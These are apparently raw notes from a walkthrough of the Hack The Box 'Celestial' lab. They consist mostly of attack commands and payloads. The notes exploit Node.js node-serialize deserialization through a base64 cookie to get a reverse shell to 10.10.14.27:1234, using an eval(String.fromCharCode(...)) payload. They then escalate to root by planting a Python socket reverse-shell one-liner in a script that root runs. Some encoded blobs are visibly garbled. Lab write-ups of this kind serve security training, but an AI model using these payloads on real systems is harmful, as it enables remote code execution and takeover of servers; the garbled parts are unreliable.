

## DECODE COOKIE USING BURP (BASE64)

## NODE JS SERIALIZATION

PORT STATE SERVICE VERSION

3000/tcp open http Node.js Express framework

```
|_http-title: Site doesn't have a title (text/html; charset=utf-8)
```

```
root@kali:/home/kali/Desktop/hackthebox/celestial# gobuster dir -u http://celestial.htb:3000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```

# BURP

GET / HTTP/1.1

Host: celestial.htb:3000

User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Cookie:

profile=eyJ1c2VybW FtZSI6IkR1bW15IiwiaY291bnRyeSI6IkklkayBQcm9iYWJseSBTb21ld2hlc mUgRHVtYiIsImNpdHkiOiJMYW1ldG93bilsIm51bSI6IjlfQ%3D%3D

Upgrade-Insecure-Requests: 1

If-None-Match: W/"c-8lfvj2TmiRRvB7K+JPws1w9h6aY"

## DECODE COOKIE BASE64

```
{ "username": "Dummy", "country": "Idk Probably Somewhere Dumb", "city": "Lametown", "num": "2" fQ%3D%3D
```

## NODE JS SERIALIZATION

```
{ "username": "Dummy", "rce": "._$$_$ND_FUNC$_$_function () { require('child_process').exec('ping -c2 10.10.14.27', function() { }); } ()" }
```

Encode base64

eyJ1c2VybmFtZSI6IHR1bWw1IiwicmNIIjoiaXQyTkrRfRlVOQyQkXzZ1bnN0aW9uIGpeyByZXFlaXJIKCdjaglsZF9wcm9jZXNZykuZXhlYnpgncGluzAtYzlgMTAuMTAuMTQuMjcncCBmdW5jdGlvbi9pIHRsgfSk7fSgplnOK

## BURP REQUEST

GET / HTTP/1.1  
Host: celestial.htb:3000  
User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:68.0) Gecko/20100101 Firefox/68.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Connection: close

Cookie:

profile=eyJ1c2VybmcFtZSI6IkR1bW15IiwicmNlIjoieXkQkTkrfRlVOQyQkX2Z1bmN0aW9uICgpeyByZXF1aXJlKCDjaGlsZF9wcm9jZ  
XNzJykuZXhYyGncGluZyAtYzlgMTAuMTAuMTQuMjcjLCBmdW5jdGlvbGpIHsgfSk7fSgplnOK

Upgrade-Insecure-Requests: 1  
If-None-Match: W/"c-8lfvj2TmiRRvB7K+JPws1w9h6aY"

root@kali:/home/kali/Desktop/hackthebox/celestial# tcpdump -i tun0 icmp

IT WORKS!!!!!!

<https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py>

root@kali:/home/kali/Desktop/hackthebox/celestial# python node.py 10.10.14.27 1234

[+] LHOST = 10.10.14.27

[+] LPORT = 1234

[+] Encoding

```
eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,
59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111
,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,52,46,50,55,34,59,10,80,79,82
,84,61,34,49,50,51,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,3
2,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,
117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,
46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,11
4,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,11
7,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,11
0,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46
,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,3
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9,10,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,3
3,92,110,34,41,59,10,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105
,110,41,59,10,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,11
6,41,59,10,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,4
1,59,10,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,
111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,
40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,125,41,59,10,32,32,3
2,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,11
6,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,8
4,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,8
4,41,59,10))
```

```
{"username":"Dummy","rce":"_$$ND_FUNC$$_function
(){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,4
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11,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,52,46,50,55,34,59,10,80,79,
82,84,61,34,49,50,51,52,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,10
2,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,
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,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102
,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101
,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116
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105,110,41,59,10,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,11
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,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,
100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,125,41,59,10,32,
32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,9
9,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,
83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,
82,84,41,59,10)))})"
```

```
eyJ1c2VybmFtZSI6IkR1bW15IiwicmNlIjoieXQkTkRfRlVOQyQkX2Z1bmN0aW9uIjGpe2V2YWwoU3RyaW5nLmZyb21DaGFyQ2
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MSw0MCwzOSwxMTAsMTAxLDEwNiwxOSw0MSw1OSwxMCwxMTgsOTcsMTE0LDMYLDExNSwxMTIsOTcsMTE5LDEwMCwzM
iw2MSwzMiwxMTQsMTAxLDEwMywxMTcsMTA1LDEwNCwxMDEsNDAsMzksOTksMTA0LDEwNSwxMDgsMTAwLDk1LDEwMi
wxMTQsMTEwLDk5LDEwMSwxMTUsMTE1LDM5LDQxLDQ2LDEwNSwxMTIsOTcsMTE5LDEwMCw1OSwxMCw3Miwx3OSw4My
w4NCw2MSwzNCw0OSw1MCw1MSw1MiwxNCw1OSwxMCw4NCw3Myw3Nyw2OSw3OSw4NSw4NCw2MSwzNCw1Myw0OCw0OC
w0OCwzNCw1OSwxMCwxMDUsMTAyLDMYLDQwLDEwNiwxMjEsMTEyLDEwMSwxMTEsMTAyLDMYLDgzLDEwNiwxMTQsMT
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sMzksNDAsMzIsMTIzLDMYLDgzLDEwNiwxMTQsMTA1LDEwMCwxMDMsNDYsMTEyLDEwNCwxMTEsMTE2LDEwMSwxMTYsMTI
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LDEwNSwxMTEsMTEwLDQwLDEwNSwxMTYsNDAsMzIsMTIzLDMYLDExNCwxMDEsMTE2LDEwNywxMTQsMTEwLDMYLDExNi
wxMDQsMTA1LDEwNSw0NiwxMDUsMTEwLDEwMCwxMDEsMTIwLDc5LDEwMiwx0MCwxMDUsMTE2LDQxLDMYLDmzLDYxL
DMYLDQ1LDQ5LDMYLDYNSw1OSwzMiwxMjUsMTAsMTAyLDEwNywxMTAsOTksMTE2LDEwNSwxMTEsMTEwLDMYLD
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yLDk5LDEwOCwxMDUsMTAxLDEwMCwxMTYsMzIsNjEsMzIsMTEwLDEwMSwxMTksMzIsMTEwLDEwMSwxMTYsNDYsODMs
MTEwLDk5LDEwNywxMDEsMTE2LDQwLDQxLDU5LDEwLDMYLDmYLDmYLDmYLDk5LDEwOCwxMDUsMTAxLDEwMCwxMTYs
NDYsOTksMTEwLDEwMCwxMTAsMTAxLDk5LDEwNiwx0MCw4MCw3OSw4Miwx4NCw0NCwzMiwx3OSw4Myw4NCw0NCwz
MiwxMDIsMTE3LDEwMCw5OSwxMTYsMTA1LDEwMSwxMTAsNDAsNDAsMzIsMTIzLDEwLDMYLDmYLDmYLDmYLDmYLDmYLD
mYLDmYLDExOCw5NywxMTQsMzIsMTE1LDEwNCwzMiwx2MSwzMiwxMTUsMTEyLDk3LDEwOSwxMTAsNDAsMzksNDcsOTg
sMTA1LDEwMCw0NywxMTUsMTA0LDM5LDQ0LDkxLDkzLDQxLDU5LDEwLDMYLDmYLDmYLDmYLDmYLDmYLDmYLDmYLDk5
LDEwOCwxMDUsMTAxLDEwMCwxMTYsNDYsMTE5LDEwNCwxMDUsMTE2LDEwMSw0MCwzNCw2NywxMTEsMTEwLDEwMC
wxMDEsOTksMTE2LDEwMSwxMDAsMzMsOTIsMTEwLDM0LDQxLDU5LDEwLDMYLDmYLDmYLDmYLDmYLDmYLDmYLDmYLD
k5LDEwOCwxMDUsMTAxLDEwMCwxMTYsNDYsMTEyLDEwNSwxMTIsMTAxLDQwLDEwNSwxMDQsNDYsMTE1LDEwNiwxMD
AsMTA1LDEwMCw0MSw1OSwxMCwzMiwxMiwxMiwxMiwxMiwxMiwxMiwxMTUsMTA0LDQ2LDEwNSwxMTYsMTAwLD
ExMSwxMTcsMTE2LDQ2LDEwMiwxMDUsMTEyLDEwMSw0MCw5OSwxMDgsMTA1LDEwMSwxMTAsMTE2LDQxLDU5LDEwL
DMYLDmYLDmYLDmYLDmYLDmYLDmYLDmYLDExNSwxMDQsNDYsMTE1LDEwNiwxMDAsMTAxLDEwNCwxMTQsNDYsMTEyL
DEwNSwxMTIsMTAxLDQwLDk5LDEwOCwxMDUsMTAxLDEwMCwxMTYsNDAsNTksMTAsMzIsMzIsMzIsMzIsMzIsMzIsMzIsMzI
sMTE1LDEwNCw0NiwxMTEsMTEwLDQwLDM5LDEwMSwxMjAsMTA1LDEwNiwxOSw0NCwxMDIsMTE3LDEwMCw5OSwxMTYs
```

profile=eyJ1c2VybmlFtZSI6K1Bw15liwicmNlIjoiejYkTkRfRlVOQyQkXz21bmN0aW9uIjEgpe2V2YWwoU3RyaW5nLmZyb21D  
aGfYQ29kZSgxMCwxMTgsOTcsMTE0LDMMyLDEExMCwxMDEsMTE2LDMMyLDYxLDMMyLDEExNCwxMDEsMTEzLDEExNywxMDUsMT  
E0LDEwMSw0MCwzOSwxMTAsMTAxLDEExNiwxOSw0MSw1OSwxMCwxMTgsOTcsMTE0LDMMyLDEExNSwxMTIsOTcsMTE5LDEEx  
MCwzMiwx2MSwzMiwxMTQsMTAxLDEExMywxMTcsMTA1LDEExNCwxMDEsNDAsMzksOTksMTA0LDEwNSwxMDgsMTAwLDk1  
LDEExMiwxMTQsMTExLDk5LDEwMSwxMTUsMTE1LDM5LDQxLDQ2LDEExNSwxMTIsOTcsMTE5LDEExMCw1OSwxMCw3Miwx3OS  
w4Myw4NCw2MSwzNCw0OSw0OCw0Niww0OCw0Niww0OSw1Miww0Niww1MCw1NSwzNCw1OSwxMCw4MCw3OSw4Miww  
4NCw2MSwzNCw0OSw1MCw1MSw1MiwwNCw1OSwxMCw4NCw3Myw3Nyww2OSw3OSw4NSw4NCw2MSwzNCw1Myww0OC  
w0OCw0OCwzNCw1OSwxMCwxMDUsMTAyLDMYyLDQwLDEExNiwxMjEsMTEyLDEwMSwxMTEsMTAyLDMYyLDgzLDEExNiwxMT  
QsMTA1LDEExMCwxMDMsNDYsMTEyLDEExNCwxMTEsMTE2LDEExMSwxMTYsMTIxLDEExMiwxMDEsNDYsOTksMTE5LDEExMCwx  
MTYsOTcsMTA1LDEExMCwxMTUsMzIsNjEsNjEsNjEsMzIsMzksMTE3LDEExMCwxMDAsMTAxLDEwMiwxMDUsMTEwLDEwMSw  
xMDAsMzksNDEsMzIsMTIzLDMYyLDgzLDEExNiwxMTQsMTA1LDEExMCwxMDMsNDYsMTEyLDEExNCwxMTEsMTE2LDEExMSwxMT  
YsMTIxLDEExMiwxMDEsNDYsOTksMTE5LDEExMCwxMTYsOTcsMTA1LDEExMCwxMTUsMzIsNjEsMzIsMTAyLDEExNywxMTAsOTks  
MTE2LDEwNSwxMTEsMTEwLDQwLDEwNSwxMTYsNDEsMzIsMTIzLDMYyLDEExNCwxMDEsMTE2LDEExNywxMTQsMTEwLDMYyL  
DEExNiwxMDQsMTA1LDEExNSw0NiwxMDUsMTEwLDEwMCwxMDEsMTIwLDc5LDEwMiww0MCwxMDUsMTE2LDQxLDMYyLDMzL  
DYxLDMYyLDQ1LDQ5LDU5LDMYyLDEyNSw1OSwzMiwxMjUsMTAsMTAyLDEExNywxMTAsOTksMTE2LDEwNSwxMTEsMTEwLD  
MyLDk5LDQwLDcyLDc5LDgzLDg0LDQ0LDgwLDc5LDgyLDg0LDQxLDMYyLDEyMywxMCwzMiwxMiwxMiwxMiwxMTgsOTcsMTE  
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DMsMTE5LDk5LDEwNywxMDEsMTE2LDQwLDQxLDU5LDEwLDMYyLDMYyLDMYyLDMYyLDMYyLDMYyLDMYyLDMYyLDMYyLDMYyL  
MTYsNDYsOTksMTE5LDEExMCwxMTAsMTAxLDk5LDEExNiww0MCw4MCw3OSw4Miww4NCw0NCwzMiww3Miww3OSw4Myww4NCw0  
NCwzMiwxMDIsMTE3LDEExMCw5OSwxMTYsMTA1LDEExMSwxMTAsNDAsNDEsMzIsMTIzLDEwLDMYyLDMYyLDMYyLDMYyLDMYyL

Upgrade-Insecure-Requests: 1

```
root@kali:/home/kali/Desktop/hackthebox/celestial# nc -nlvp 1234
```

```
cat output.txt
```

Script is running...

Script is running...

Script is running...

```
sun@sun:~/Documents$ cat script.py
```

```
cat script.py
```

```
print "Script is running..."
```

```
print "Script is running..."
```

```
print "Script is running..."
```

```
sun@sun:~/Documents$ cat script.py
```

```
sun@sun:~/Documents$ cat script.py
```

```
print "Script is running..."
```

```
import
```

```
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.27",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
```

```
root@kali:/home/kali/Desktop/tools# nc -nlvp 4444
```

```
ROOTED!!!!
```